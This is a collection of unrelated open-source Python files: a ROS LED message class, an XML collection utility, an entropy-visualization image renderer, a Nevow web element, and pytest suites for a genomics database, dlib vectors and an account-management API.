def __init__(self, *args, **kwds):
"""
Constructor. Any message fields that are implicitly/explicitly
set to None will be assigned a default value. The recommend
use is keyword arguments as this is more robust to future message
changes. You cannot mix in-order arguments and keyword arguments.
The available fields are:
index,rgb
:param args: complete set of field values, in .msg order
:param kwds: use keyword arguments corresponding to message field names
to set specific fields.
"""
if args or kwds:
super(Led, self).__init__(*args, **kwds)
# message fields cannot be None, assign default values for those that are
if self.index is None:
self.index = 0
if self.rgb is None:
self.rgb = sensor.msg.RGB()
else:
self.index = 0
self.rgb = sensor.msg.RGB()
def _get_types(self):
"""
internal API method
"""
return self._slot_types
def serialize(self, buff):
"""
serialize message into buffer
:param buff: buffer, ``StringIO``
"""
try:
_x = self
buff.write(_get_struct_4B().pack(_x.index, _x.rgb.r, _x.rgb.g, _x.rgb.b))
except struct.error as se: self._check_types(struct.error("%s: '%s' when writing '%s'" % (type(se), str(se), str(locals().get('_x', self)))))
except TypeError as te: self._check_types(ValueError("%s: '%s' when writing '%s'" % (type(te), str(te), str(locals().get('_x', self)))))
def deserialize(self, str):
"""
unpack serialized message in str into this message instance
:param str: byte array of serialized message, ``str``
"""
codecs.lookup_error("rosmsg").msg_type = self._type
try:
if self.rgb is None:
self.rgb = sensor.msg.RGB()
end = 0
_x = self
start = end
end += 4
(_x.index, _x.rgb.r, _x.rgb.g, _x.rgb.b,) = _get_struct_4B().unpack(str[start:end])
return self
except struct.error as e:
raise genpy.DeserializationError(e) # most likely buffer underfill
def serialize_numpy(self, buff, numpy):
"""
serialize message with numpy array types into buffer
:param buff: buffer, ``StringIO``
:param numpy: numpy python module
"""
try:
_x = self
buff.write(_get_struct_4B().pack(_x.index, _x.rgb.r, _x.rgb.g, _x.rgb.b))
except struct.error as se: self._check_types(struct.error("%s: '%s' when writing '%s'" % (type(se), str(se), str(locals().get('_x', self)))))
except TypeError as te: self._check_types(ValueError("%s: '%s' when writing '%s'" % (type(te), str(te), str(locals().get('_x', self)))))
def deserialize_numpy(self, str, numpy):
"""
unpack serialized message in str into this message instance using numpy for array types
:param str: byte array of serialized message, ``str``
:param numpy: numpy python module
"""
codecs.lookup_error("rosmsg").msg_type = self._type
try:
if self.rgb is None:
self.rgb = sensor.msg.RGB()
end = 0
_x = self
start = end
end += 4
(_x.index, _x.rgb.r, _x.rgb.g, _x.rgb.b,) = _get_struct_4B().unpack(str[start:end])
return self
except struct.error as e:
raise genpy.DeserializationError(e) # most likely buffer underfill
_struct_I = genpy.struct_I
def _get_struct_I():
global _struct_I
return _struct_I
_struct_4B = None
def _get_struct_4B():
global _struct_4B
if _struct_4B is None:
_struct_4B = struct.Struct("<4B")
return _struct_4B
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server/explorer/utils/collection.py | s-bauer/yang-explorer | 437 | 80763 | <filename>server/explorer/utils/collection.py<gh_stars>100-1000
"""
Copyright 2015, Cisco Systems, Inc
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
@author: <NAME>, Cisco Systems, Inc.
"""
import os
import glob
import lxml.etree as ET
import logging
from explorer.models import Collection as Col
from explorer.models import User
from explorer.utils.adapter import Adapter
class Collection(object):
""" This class implements utility routines to work with
collections """
@staticmethod
def add(metadata, payload):
""" Add a collection entry """
if metadata in [None, '']:
logging.error('Invalid metadata')
return False
if payload in [None, '', 'null']:
logging.error('Invalid payload')
return False
metadata = ET.fromstring(metadata)
payload = ET.fromstring(payload)
logging.debug(ET.tostring(metadata))
logging.debug(ET.tostring(payload))
cname = metadata.find('collection').text
author = metadata.find('author').text
name = metadata.find('name').text
if not Col.objects.filter(name=cname).exists():
if not User.objects.filter(username=author).exists():
logging.error('User %s does not exist !!' % author)
return False
user = User.objects.filter(username=author)
obj = Col(name=cname, user=user[0])
obj.save()
logging.debug('Created new collection ' + cname)
path = os.path.join('data', 'collections', cname)
if not os.path.exists(path):
logging.error('Path to collection does not exist : %s !!' % path)
return False
for child in payload:
if child.tag == 'metadata':
for elem in metadata:
child.append(elem)
cfile = os.path.join(path, name + '.xml')
with open(cfile, 'w') as f:
f.write(ET.tostring(payload))
logging.debug('%s was saved successfully in collection %s' % (name, cname))
return True
@staticmethod
def remove(metadata):
""" Remove a entry from collection """
if metadata is None or metadata == '':
logging.error('Invalid metadata')
return False
metadata = ET.fromstring(metadata)
cname = metadata.find('collection').text
name = metadata.find('name').text
if name is None or not name:
logging.error('Invalid entry %s in argument!!' % name)
return False
if not Col.objects.filter(name=cname).exists():
logging.debug('Collection %s does not exists !!' % cname)
return True
path = os.path.join('data', 'collections', cname, name + '.xml')
if not os.path.exists(path):
logging.debug('Path to collection does not exist : %s !!' % path)
return True
os.remove(path)
logging.debug('%s was successfully removed from collection %s' % (name, cname))
return True
@staticmethod
def list():
""" get list of all collection entries """
cols_elem = ET.Element('collections')
for col in Col.objects.all():
path = os.path.join('data', 'collections', col.name)
if not os.path.exists(path):
logging.error('Collection has inconstancy : %s !!' % col.name)
continue
files = glob.glob(os.path.join(path, '*'))
for _file in files:
payload = ET.parse(_file)
for child in payload.getroot():
if child.tag == 'metadata':
cols_elem.append(child)
return cols_elem
@staticmethod
def load(username, metadata):
""" Load a collection entry """
if metadata is None or metadata == '':
logging.error('Invalid metadata')
return None
metadata = ET.fromstring(metadata)
cname = metadata.find('collection').text
name = metadata.find('name').text
if not Col.objects.filter(name=cname).exists():
logging.debug('Collection %s does not exists !!' % cname)
return None
_file = os.path.join('data', 'collections', cname, name + '.xml')
if not os.path.exists(_file):
logging.error('Collection entry not found')
return None
data = None
with open(_file, 'r') as f:
data = f.read()
data = data.replace('>','>')
data = data.replace('<','<')
payload = ET.fromstring(data)
if data is None:
logging.error('Collection entry is empty')
return None
fmt = payload.get('format', 'raw')
if fmt == 'xpath':
return Adapter.gen_rpc(username, data)
return payload
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src/encoded/tests/test_types_functional_characterization_experiment.py | procha2/encoded | 0 | 197556 | <reponame>procha2/encoded<gh_stars>0
import pytest
def test_fcc_replicate_type(
testapp, functional_characterization_experiment, pooled_clone_sequencing
):
res = testapp.get(
functional_characterization_experiment['@id']+'@@index-data'
)
assert res.json['object']['replication_type'] == 'unreplicated'
res = testapp.get(
pooled_clone_sequencing['@id']+'@@index-data'
)
assert 'replication_type' not in res.json['object']
def test_fcc_crispr_assay_perturbation(testapp, functional_characterization_experiment_disruption_screen, biosample_1, biosample_2, library_1, library_2, replicate_1_fce, replicate_2_fce, disruption_genetic_modification, activation_genetic_modification, binding_genetic_modification, ctcf):
testapp.patch_json(biosample_1['@id'], {'genetic_modifications': [disruption_genetic_modification['@id']]})
testapp.patch_json(biosample_2['@id'], {'genetic_modifications': [disruption_genetic_modification['@id']]})
testapp.patch_json(library_1['@id'], {'biosample': biosample_1['@id']})
testapp.patch_json(library_2['@id'], {'biosample': biosample_2['@id']})
testapp.patch_json(replicate_1_fce['@id'], {'library': library_1['@id']})
testapp.patch_json(replicate_2_fce['@id'], {'library': library_2['@id']})
res = testapp.get(functional_characterization_experiment_disruption_screen['@id']+'@@index-data')
assert res.json['object']['perturbation_type'] == 'disruption'
# more than one CRISPR characterization genetic modification
testapp.patch_json(biosample_1['@id'], {'genetic_modifications': [disruption_genetic_modification['@id']]})
testapp.patch_json(biosample_2['@id'], {'genetic_modifications': [disruption_genetic_modification['@id'], activation_genetic_modification['@id']]})
res = testapp.get(functional_characterization_experiment_disruption_screen['@id']+'@@index-data')
assert 'perturbation_type' not in res.json['object']
# binding CRISPR genetic modification
testapp.patch_json(biosample_1['@id'], {'genetic_modifications': [binding_genetic_modification['@id']]})
testapp.patch_json(biosample_2['@id'], {'genetic_modifications': [binding_genetic_modification['@id']]})
res = testapp.get(functional_characterization_experiment_disruption_screen['@id']+'@@index-data')
assert res.json['object']['perturbation_type'] == 'binding'
def test_fcc_crispr_assay_readout_method(testapp, functional_characterization_experiment_disruption_screen, biosample_1, biosample_2, library_1, library_2, replicate_1_fce, replicate_2_fce, disruption_genetic_modification, activation_genetic_modification, binding_genetic_modification, ctcf):
testapp.patch_json(biosample_1['@id'], {'genetic_modifications': [disruption_genetic_modification['@id']]})
testapp.patch_json(biosample_2['@id'], {'genetic_modifications': [disruption_genetic_modification['@id']]})
testapp.patch_json(library_1['@id'], {'biosample': biosample_1['@id']})
testapp.patch_json(library_2['@id'], {'biosample': biosample_2['@id']})
testapp.patch_json(replicate_1_fce['@id'], {'library': library_1['@id']})
testapp.patch_json(replicate_2_fce['@id'], {'library': library_2['@id']})
res = testapp.get(functional_characterization_experiment_disruption_screen['@id']+'@@index-data')
assert res.json['object']['crispr_screen_readout'] == 'proliferation'
# patch with basic examined_loci, no method
testapp.patch_json(functional_characterization_experiment_disruption_screen['@id'], {'examined_loci': [{'gene': ctcf['uuid'], 'expression_percentile': 100}]})
res = testapp.get(functional_characterization_experiment_disruption_screen['@id']+'@@index-data')
assert 'crispr_screen_readout' not in res.json['object']
# expression_measurement_method in examined_loci
testapp.patch_json(functional_characterization_experiment_disruption_screen['@id'], {'examined_loci': [{'gene': ctcf['uuid'], 'expression_percentile': 100, 'expression_measurement_method': 'HCR-FlowFISH'}]})
res = testapp.get(functional_characterization_experiment_disruption_screen['@id']+'@@index-data')
assert res.json['object']['crispr_screen_readout'] == 'HCR-FlowFISH'
# multiple different expression_measurement_method in examined_loci
testapp.patch_json(
functional_characterization_experiment_disruption_screen['@id'],
{'examined_loci': [{'gene': ctcf['uuid'], 'expression_percentile': 100, 'expression_measurement_method': 'HCR-FlowFISH'},
{'gene': ctcf['uuid'], 'expression_percentile': 10, 'expression_measurement_method': 'PrimeFlow'}]})
res = testapp.get(functional_characterization_experiment_disruption_screen['@id']+'@@index-data')
assert 'crispr_screen_readout' not in res.json['object']
# controls should not receive crispr_screen_readout property
testapp.patch_json(functional_characterization_experiment_disruption_screen['@id'], {'control_type': 'control'})
res = testapp.get(functional_characterization_experiment_disruption_screen['@id']+'@@index-data')
assert 'crispr_screen_readout' not in res.json['object']
def test_fcc_replication_count_0(testapp, functional_characterization_experiment_disruption_screen):
res = testapp.get(functional_characterization_experiment_disruption_screen['@id'] + '@@index-data')
assert res.json['object']['bio_replicate_count'] == 0 and res.json['object']['tech_replicate_count'] == 0
def test_fcc_replication_count_2(testapp, functional_characterization_experiment_disruption_screen, library_1, library_2, replicate_1_fce, replicate_2_fce):
testapp.patch_json(replicate_1_fce['@id'], {'library': library_1['@id']})
testapp.patch_json(replicate_2_fce['@id'], {'library': library_2['@id']})
res = testapp.get(functional_characterization_experiment_disruption_screen['@id'] + '@@index-data')
assert res.json['object']['bio_replicate_count'] == 2 and res.json['object']['tech_replicate_count'] == 2
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] |
src/image_output.py | malon43/entropy-visualization | 0 | 54365 | <filename>src/image_output.py
# SPDX-License-Identifier: MIT
from argparse import ArgumentTypeError, FileType
from itertools import chain
from sys import stderr, stdout
from output_common import OutputMethodBase, Parameter, print_check_closed_pipe
from math import ceil, log, sqrt
import re
from palettes import palettes
try:
from PIL import Image, ImageDraw, ImageFont
except ImportError:
print('the Pillow library is not installed. \n'
'Use `pip install Pillow` to install it', file=stderr)
exit(1)
def hex_color_type(x):
colors = {
'white': (255, 255, 255),
'black': (0, 0, 0),
'transparent': (255, 255, 255, 0)
}
nx = x.strip().lower()
if nx in colors:
return colors[nx]
match = re.fullmatch( # #000000/#00000000
r'#?([\da-f]{2})([\da-f]{2})([\da-f]{2})([\da-f]{2})?', nx)
if match is not None:
return tuple(int(b, base=16) for b in match.groups() if b is not None)
match = re.fullmatch( # #000000[1.0]
r'#?([\da-f]{2})([\da-f]{2})([\da-f]{2})\[(0?\.\d+|1\.0*|0\.)]', nx)
if match is not None:
return (
*map(lambda b: int(b, base=16), match.group(1, 2, 3)),
round(float(match.group(4)) * 255)
)
match = re.fullmatch( # #000000[100%]
r'#?([\da-f]{2})([\da-f]{2})([\da-f]{2})\[(\d{1,2}|100)%?]', nx)
if match is not None:
return (
*map(lambda b: int(b, base=16), match.group(1, 2, 3)),
round((255 * int(match.group(4))) / 100)
)
match = re.fullmatch( # [1.0]#000000
r'\[(0?\.\d+|1\.0*|0\.)]#?([\da-f]{2})([\da-f]{2})([\da-f]{2})', nx)
if match is not None:
return (
*map(lambda b: int(b, base=16), match.group(2, 3, 4)),
round(float(match.group(1)) * 255)
)
match = re.fullmatch( # [100%]#000000
r'\[(\d{1,2}|100)%?]#?([\da-f]{2})([\da-f]{2})([\da-f]{2})', nx)
if match is not None:
return (
*map(lambda b: int(b, base=16), match.group(2, 3, 4)),
round((255 * int(match.group(1))) / 100)
)
raise ArgumentTypeError(f'\'{x}\' is not a valid hex code')
def palette_type(x):
if x not in palettes:
raise ArgumentTypeError(f'{x} is not a valid palette')
return palettes[x]
def font_type(x):
if x.strip() == '-':
return x.strip()
try:
ImageFont.truetype(x)
except OSError:
raise ArgumentTypeError(
f'font {x} could not be found, please provide another font or use \'--font -\' for a fallback font')
return x
def font_size_type(x):
val = int(x)
if val < 0:
raise ArgumentTypeError(f'{x} is not a valid font size')
return val
def luminance_test_black_white(bg_color):
"""Based on W3 guidelines: https://www.w3.org/TR/WCAG20/#relativeluminancedef"""
srgb = [x / 255 for x in bg_color]
rgb = [srgb[i] / 12.92 if srgb[i] <= 0.03928 else ((srgb[i] + 0.055) / 1.055) ** 2.4
for i in range(3)]
rl = 0.2126 * rgb[0] + 0.7152 * rgb[1] + 0.0722 * rgb[2]
return (255, 255, 255) if 0.17913 > rl else (0, 0, 0)
class ImageOutput(OutputMethodBase):
default_parameters = {
'output_file': Parameter(FileType('wb'), stdout, 'output file', 'stdout'),
'err_file': Parameter(FileType('w'), stderr, 'error output file', 'stderr'),
'no_legend': Parameter(bool, False, 'resulting image will not contain a legend'),
'background': Parameter(hex_color_type, (255, 255, 255), 'hex code of background color', 'white'),
'palette': Parameter(palette_type, 'photocopy-safe', 'color palette to use', available=list(palettes.keys())),
'font': Parameter(font_type, 'LiberationMono-Regular', 'font to use for legend'),
'font_size': Parameter(font_size_type, ..., 'font size to use for legend in pixels', 'automatic'),
'font_color': Parameter(hex_color_type, ..., 'hex code of font color of the legend', 'automatic')
}
def __init__(self, input_size, **kwargs):
super().__init__(input_size, **kwargs)
vis_size = self._get_size()
if not self.no_legend and len(self.palette.LEGEND) > 0:
if self.font_size is Ellipsis:
self.font_size = max(vis_size[1] // len(self.palette.LEGEND) // 4, 16)
try:
fnt = ImageFont.truetype(self.font, size=self.font_size)
except OSError:
fnt = ImageFont.load_default()
legend_size = self._get_legend_size(fnt)
total_size = (
vis_size[0] + legend_size[0],
max(vis_size[1], legend_size[1])
)
else:
fnt = None
total_size = vis_size
if self.font_color is Ellipsis:
self.font_color = luminance_test_black_white(self.background)
self._rgba = self.palette.NEEDS_ALPHA \
or len(self.background) == 4 \
or len(self.font_color) == 4
self._image = Image.new(
'RGBA' if self._rgba else 'RGB',
total_size,
self.background
)
if not self.no_legend and len(self.palette.LEGEND) > 0:
self._draw_legend(fnt)
def output(self, *args):
self._image.putpixel(self._coords_from_pos(args[0]), self.palette.get(*args))
return True
def _coords_from_pos(self, pos):
raise NotImplementedError(
f'Class {self.__class__.__name__} needs to implement the _coords_from_pos() method'
)
def _get_size(self):
raise NotImplementedError(
f'Class {self.__class__.__name__} needs to implement the _get_size() method'
)
def error(self, message):
return print_check_closed_pipe(message, file=self.err_file)
def exit(self):
try:
self._image.save(self.output_file)
except ValueError:
self._image.save(self.output_file, 'PNG')
self._image.close()
self.output_file.close()
self.err_file.close()
def _get_legend_size(self, fnt):
if len(self.palette.LEGEND) < 1:
raise ValueError('Legend needs to have at least one element')
square_size = fnt.getsize('a')[1]
spacing = square_size // 2
width = spacing * 3 + square_size + max(fnt.getsize(x[1])[0] for x in self.palette.LEGEND)
height = len(self.palette.LEGEND) * square_size + (len(self.palette.LEGEND) + 1) * spacing
return width, height
def _draw_legend(self, fnt):
d = ImageDraw.Draw(self._image)
lw, lh = self._get_legend_size(fnt)
outline_color = luminance_test_black_white(self.background)
square_size = fnt.getsize('a')[1]
square_border_width = max(square_size // 16, 1)
spacing = square_size // 2
square_pos_w = self._image.size[0] - lw + spacing
text_pos_w = square_pos_w + square_size + spacing
text_pos_h = self._image.size[1] // 2 - lh // 2 + spacing
for color, desc in self.palette.LEGEND:
d.text((text_pos_w, text_pos_h), desc, font=fnt, fill=self.font_color)
d.rectangle(((square_pos_w, text_pos_h),
(square_pos_w + square_size, text_pos_h + square_size)),
fill=color,
outline=outline_color,
width=square_border_width)
text_pos_h += square_size + spacing
# sweeping-blocks
class SweepingBlocks(ImageOutput):
default_parameters = {
**ImageOutput.default_parameters,
'width': Parameter(int, ..., 'the width of resulting image in pixels', 'automatic square'),
'sweeping_block_size': Parameter(int, ..., 'the size of block groups of the resulting image', 'automatic')
}
def __init__(self, input_size, **kwargs):
super().__init__(input_size, **kwargs)
sbsie = self.sweeping_block_size is Ellipsis
self.width, self.sweeping_block_size = self._calc_widths()
if sbsie and self.sweeping_block_size == 1:
print_check_closed_pipe(f'warn: sensible sweeping block size for width {self.width}'
' could not be selected, defaulting to sweeping.', file=stderr)
def _calc_widths(self):
preferred_block_size = max(16, 2 ** (int(sqrt(self._input_size)).bit_length() - 5))
if self.width is not Ellipsis and self.sweeping_block_size is not Ellipsis:
if self.width % self.sweeping_block_size != 0:
raise ValueError('width needs to be a multiple of sweeping-block-size')
return self.width, self.sweeping_block_size
if self.width is not Ellipsis and self.sweeping_block_size is Ellipsis:
for i in chain(range(preferred_block_size, ceil(sqrt(self.width)) + 1),
range(preferred_block_size - 1, 0, -1)):
# return the smallest divisor of width larger or equal to preferred block size
# but smaller or equal to the square root of width
# otherwise return the largest smaller divisor of width as sweeping block size
if self.width % i == 0:
return self.width, i
sbs = preferred_block_size if self.sweeping_block_size is Ellipsis else self.sweeping_block_size
return ceil(ceil(sqrt(self._input_size)) / sbs) * sbs, sbs
def _get_size(self):
w, sbs = self._calc_widths()
if self._input_size % (w * sbs) < sbs ** 2: # if a single unfinished block remains on the last row
return w, (self._input_size // (sbs * w)) * sbs + ceil((self._input_size % (sbs * w)) / sbs)
return w, ceil(self._input_size / (sbs * w)) * sbs
def _coords_from_pos(self, pos):
return ((pos % self.sweeping_block_size +
(pos // self.sweeping_block_size ** 2) * self.sweeping_block_size) % self.width,
(pos // self.sweeping_block_size) % self.sweeping_block_size + pos //
(self.sweeping_block_size * self.width) * self.sweeping_block_size)
@staticmethod
def check_args(**kwargs):
if 'width' in kwargs and 'sweeping_block_size' in kwargs \
and kwargs['width'] is not Ellipsis \
and kwargs['sweeping_block_size'] is not Ellipsis \
and kwargs['width'] % kwargs['sweeping_block_size'] != 0:
return 'width needs to be a multiple of sweeping-block-size'
return None
# sweeping
class Sweeping(SweepingBlocks):
default_parameters = {
**ImageOutput.default_parameters,
'width': Parameter(int, ..., 'the width of the resulting image in pixels', 'automatic square')
}
def __init__(self, input_size, **kwargs):
# sweeping is equivalent to sweeping-blocks with the block size of 1
self.sweeping_block_size = 1
super().__init__(input_size, **kwargs)
# hilbert-curve
class HilbertCurve(ImageOutput):
def __init__(self, input_size, **kwargs):
# get the smallest number of iterations of Hilbert curve required to fit all sectors
iterations = ceil(log(input_size, 4))
# if the image would take up more than three curves of lower iteration,
if input_size > 3 * 4 ** (iterations - 1):
# use smallest single curve that fits all sectors
self.width = self.height = 2 ** iterations
else:
# otherwise, use up to three curves of the lower iteration
self.width = 2 ** (iterations - 1)
# and set the smallest height (in half-curve-side increments) that fits all sectors
self.height = int(ceil(
input_size / 2 ** (2 * iterations - 3)) * 2 ** (iterations - 2))
super().__init__(input_size, **kwargs)
def _get_size(self):
return self.width, self.height
def _coords_from_pos(self, pos):
p = self._d2xy(self.width, pos % self.width ** 2)
return p[0], p[1] + (pos // self.width ** 2) * self.width
@staticmethod
def _d2xy(n, d):
"""Calculates point on Hilbert curve from given distance
code adapted from
https://en.wikipedia.org/wiki/Hilbert_curve#Applications_and_mapping_algorithms"""
x = y = 0
s = 1
while s < n:
ry = 1 & (d >> 1)
rx = 1 & (d ^ ry)
# rotate accordingly
if rx == 0 and ry == 1:
x, y = s - 1 - y, s - 1 - x
elif rx == 0:
x, y = y, x
x += s * rx
y += s * ry
d >>= 2
s <<= 1
return x, y
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py/qxcomscroll/web/playground.py | wthie/qxcomscroll | 0 | 42455 | <gh_stars>0
#! /usr/bin/env python
#-*- coding: iso-8859-1 -*-
"""
playground - the basic object which serves as the root
author : <NAME>, wth
last edit: wth, 21.03.2011
modhistory:
03.06.2009 - wth, thinking about disconnecting
21.03.2011 - wth, reworked for qxcomscroll
"""
import os, sys, time, random
from zope.interface import implements
from twisted.python import util, log
from twisted.internet import defer
from nevow import static, athena, loaders, url, tags as T, inevow, guard
from nevow.page import renderer
from qxcomscroll.common.i18n import _TStr, getTexts
from qxcomscroll.common.helpers import uc, dc
from qxcomscroll.qxathena.qxathena import QxAthena
REQ_404 = -1
REQ_ROOT = 0
REQ_WITHID = 2
class Playground(athena.LiveElement):
jsClass = u'qxcomscroll.web.playground.Playground'
docFactory = loaders.xmlstr("""
<div xmlns:nevow="http://nevow.com/ns/nevow/0.1" nevow:render="liveElement"
class="playground" name="playground"
style="width: 100%; height: 100%; min-height: 100%; position: absolute; left: 0px; top: 0px; background-color: #c2c2c2;">
<img id="waitroller" src="waitroller.gif" style="width: 100px; height: 100px; top: 50%; left: 50%; position: absolute; margin-left: -50px; margin-top: -50px;"/>
</div>
""")
PG_UNKNOWN = -1
PG_INITED = 0
def __init__(self, uid=None):
super(Playground, self).__init__()
self.state = self.PG_INITED
self.uid = uid
def detached(self):
#clean up whatever needs cleaning...
log.msg('playground object was detached cleanly')
@athena.expose
def inject_404(self):
f = fourOfourMsg()
f.setFragmentParent(self)
return f
@athena.expose
def QxAthena(self, params):
f = QxAthena()
f.setFragmentParent(self)
return f
@athena.expose
def getTexts(self, ids):
return getTexts(map(dc, ids), self.page.lang)
@athena.expose
def guiready(self):
def usermatch(user): #select usually returns a list, knowing that we have unique results
reqtype = REQ_404 #the result is unpacked already and a single item returned
udata = {}
if len(user) > 0:
self.page.userid = user['id']
reqtype = REQ_WITHID
for k in user.keys():
if type(user[k]) == type(''):
udata[uc(k)] = uc(user[k])
else:
udata[uc(k)] = user[k]
return reqtype, udata
def rootmatch(res): #select usually returns a list, knowing that we have unique results
reqtype = REQ_ROOT #the result is unpacked already and a single item returned
udata = {}
user = {}
user['id'] = self.page.username
for k in user.keys():
if type(user[k]) == type(''):
udata[uc(k)] = uc(user[k])
else:
udata[uc(k)] = user[k]
return reqtype, udata
if self.uid and len(self.uid) == 32:
d = self.page.userstore.getUserWithUID(self.uid)
d.addCallback(usermatch)
d.addErrback(nomatch)
else:
d = defer.succeed(0)
d.addCallback(rootmatch)
return d
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] |
dlib/tools/python/test/test_vector.py | asm-jaime/facerec | 11,719 | 38077 | <reponame>asm-jaime/facerec
from dlib import vector, vectors, vectorss, dot
try:
import cPickle as pickle # Use cPickle on Python 2.7
except ImportError:
import pickle
from pytest import raises
def test_vector_empty_init():
v = vector()
assert len(v) == 0
assert v.shape == (0, 1)
assert str(v) == ""
assert repr(v) == "dlib.vector([])"
def test_vector_init_with_number():
v = vector(3)
assert len(v) == 3
assert v.shape == (3, 1)
assert str(v) == "0\n0\n0"
assert repr(v) == "dlib.vector([0, 0, 0])"
def test_vector_set_size():
v = vector(3)
v.set_size(0)
assert len(v) == 0
assert v.shape == (0, 1)
v.resize(10)
assert len(v) == 10
assert v.shape == (10, 1)
for i in range(10):
assert v[i] == 0
def test_vector_init_with_list():
v = vector([1, 2, 3])
assert len(v) == 3
assert v.shape == (3, 1)
assert str(v) == "1\n2\n3"
assert repr(v) == "dlib.vector([1, 2, 3])"
def test_vector_getitem():
v = vector([1, 2, 3])
assert v[0] == 1
assert v[-1] == 3
assert v[1] == v[-2]
def test_vector_slice():
v = vector([1, 2, 3, 4, 5])
v_slice = v[1:4]
assert len(v_slice) == 3
for idx, val in enumerate([2, 3, 4]):
assert v_slice[idx] == val
v_slice = v[-3:-1]
assert len(v_slice) == 2
for idx, val in enumerate([3, 4]):
assert v_slice[idx] == val
v_slice = v[1:-2]
assert len(v_slice) == 2
for idx, val in enumerate([2, 3]):
assert v_slice[idx] == val
def test_vector_invalid_getitem():
v = vector([1, 2, 3])
with raises(IndexError):
v[-4]
with raises(IndexError):
v[3]
def test_vector_init_with_negative_number():
with raises(Exception):
vector(-3)
def test_dot():
v1 = vector([1, 0])
v2 = vector([0, 1])
v3 = vector([-1, 0])
assert dot(v1, v1) == 1
assert dot(v1, v2) == 0
assert dot(v1, v3) == -1
def test_vector_serialization():
v = vector([1, 2, 3])
ser = pickle.dumps(v, 2)
deser = pickle.loads(ser)
assert str(v) == str(deser)
def generate_test_vectors():
vs = vectors()
vs.append(vector([0, 1, 2]))
vs.append(vector([3, 4, 5]))
vs.append(vector([6, 7, 8]))
assert len(vs) == 3
return vs
def generate_test_vectorss():
vss = vectorss()
vss.append(generate_test_vectors())
vss.append(generate_test_vectors())
vss.append(generate_test_vectors())
assert len(vss) == 3
return vss
def test_vectors_serialization():
vs = generate_test_vectors()
ser = pickle.dumps(vs, 2)
deser = pickle.loads(ser)
assert vs == deser
def test_vectors_clear():
vs = generate_test_vectors()
vs.clear()
assert len(vs) == 0
def test_vectors_resize():
vs = vectors()
vs.resize(100)
assert len(vs) == 100
for i in range(100):
assert len(vs[i]) == 0
def test_vectors_extend():
vs = vectors()
vs.extend([vector([1, 2, 3]), vector([4, 5, 6])])
assert len(vs) == 2
def test_vectorss_serialization():
vss = generate_test_vectorss()
ser = pickle.dumps(vss, 2)
deser = pickle.loads(ser)
assert vss == deser
def test_vectorss_clear():
vss = generate_test_vectorss()
vss.clear()
assert len(vss) == 0
def test_vectorss_resize():
vss = vectorss()
vss.resize(100)
assert len(vss) == 100
for i in range(100):
assert len(vss[i]) == 0
def test_vectorss_extend():
vss = vectorss()
vss.extend([generate_test_vectors(), generate_test_vectors()])
assert len(vss) == 2
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] |
tests/test_users.py | Gingernaut/microAuth | 28 | 180228 | import ujson
class TestAccount:
def test_get_account_without_auth(self, test_server):
res = test_server.get("/account")
assert res.status_code == 401
def test_get_info(self, test_server, create_account_jwt):
res = test_server.get(
"/account", headers={"Authorization": f"Bearer {create_account_jwt}"}
)
resData = res.json()
assert res.status_code == 200
assert "jwt" not in resData
assert resData["emailAddress"] == "<EMAIL>"
assert resData["userRole"] == "USER"
assert resData["isVerified"] is False
def test_valid_update(self, test_server, create_account_jwt):
payload = {"firstName": "Jason", "lastName": "Bourne", "emailAddress": ""}
res = test_server.put(
"/account",
headers={"Authorization": f"Bearer {create_account_jwt}"},
data=ujson.dumps(payload),
)
resData = res.json()
assert res.status_code == 200
assert resData["firstName"] == "Jason"
assert resData["lastName"] == "Bourne"
assert resData["createdTime"] < resData["modifiedTime"]
assert resData["emailAddress"] == "<EMAIL>"
def test_update_own_role(self, test_server, create_account_jwt):
payload = {"userRole": "ADMIN"}
res = test_server.put(
"/account",
headers={"Authorization": f"Bearer {create_account_jwt}"},
data=ujson.dumps(payload),
)
assert res.status_code == 403
def test_update_password(self, test_server, create_account_jwt):
payload = {"password": "<PASSWORD>"}
res = test_server.put(
"/account",
headers={"Authorization": f"Bearer {create_account_jwt}"},
data=ujson.dumps(payload),
)
assert res.status_code == 200
resData = res.json()
login_data = {
"emailAddress": resData["emailAddress"],
"password": "<PASSWORD>",
}
login_res = test_server.post("/login", data=ujson.dumps(login_data))
login_resData = login_res.json()
assert login_res.status_code == 200
assert login_resData["emailAddress"] == resData["emailAddress"]
def test_short_pass_update(self, test_server, create_account_jwt, app_config):
payload = {"password": "x" * (app_config.MIN_PASS_LENGTH - 1)}
res = test_server.put(
"/account",
headers={"Authorization": f"Bearer {create_account_jwt}"},
data=ujson.dumps(payload),
)
assert res.status_code == 422
def test_update_email_to_existing_account(self, test_server, create_account_jwt):
# guarantees there is already a "<EMAIL>" associated account.
unusedJwt = create_account_jwt # NOQA
payload = {"emailAddress": "<EMAIL>", "password": "<PASSWORD>"}
res = test_server.post("/signup", data=ujson.dumps(payload))
resData = res.json()
jwtToken = resData["jwt"]
updatePayload = {"emailAddress": "<EMAIL>"}
updateRes = test_server.put(
"/account",
headers={"Authorization": f"Bearer {jwtToken}"},
data=ujson.dumps(updatePayload),
)
assert updateRes.status_code == 403
def test_update_email_to_own_email(self, test_server, create_account_jwt):
# guarantees there is already a "<EMAIL>" associated account.
unusedJwt = create_account_jwt # NOQA
payload = {"emailAddress": "<EMAIL>", "password": "<PASSWORD>"}
res = test_server.post("/signup", data=ujson.dumps(payload))
resData = res.json()
jwtToken = resData["jwt"]
updatePayload = {
"emailAddress": "<EMAIL>",
"firstName": "flavor-dealer",
}
updateRes = test_server.put(
"/account",
headers={"Authorization": f"Bearer {jwtToken}"},
data=ujson.dumps(updatePayload),
)
assert updateRes.status_code == 200
assert updateRes.json()["firstName"] == "flavor-dealer"
def test_access_all_users(self, test_server, create_account_jwt):
res = test_server.get(
"/accounts", headers={"Authorization": f"Bearer {create_account_jwt}"}
)
assert res.status_code == 403
def test_access_specific_user(self, test_server, create_account_jwt):
res = test_server.get(
"/accounts/1", headers={"Authorization": f"Bearer {create_account_jwt}"}
)
assert res.status_code == 403
def test_delete_account(self, test_server, create_account_jwt):
res = test_server.delete(
"/account", headers={"Authorization": f"Bearer {create_account_jwt}"}
)
assert res.status_code == 200
deleted_credentials = {"emailAddress": "<EMAIL>", "password": "<PASSWORD>"}
res2 = test_server.post("/login", data=ujson.dumps(deleted_credentials))
assert res2.status_code == 404
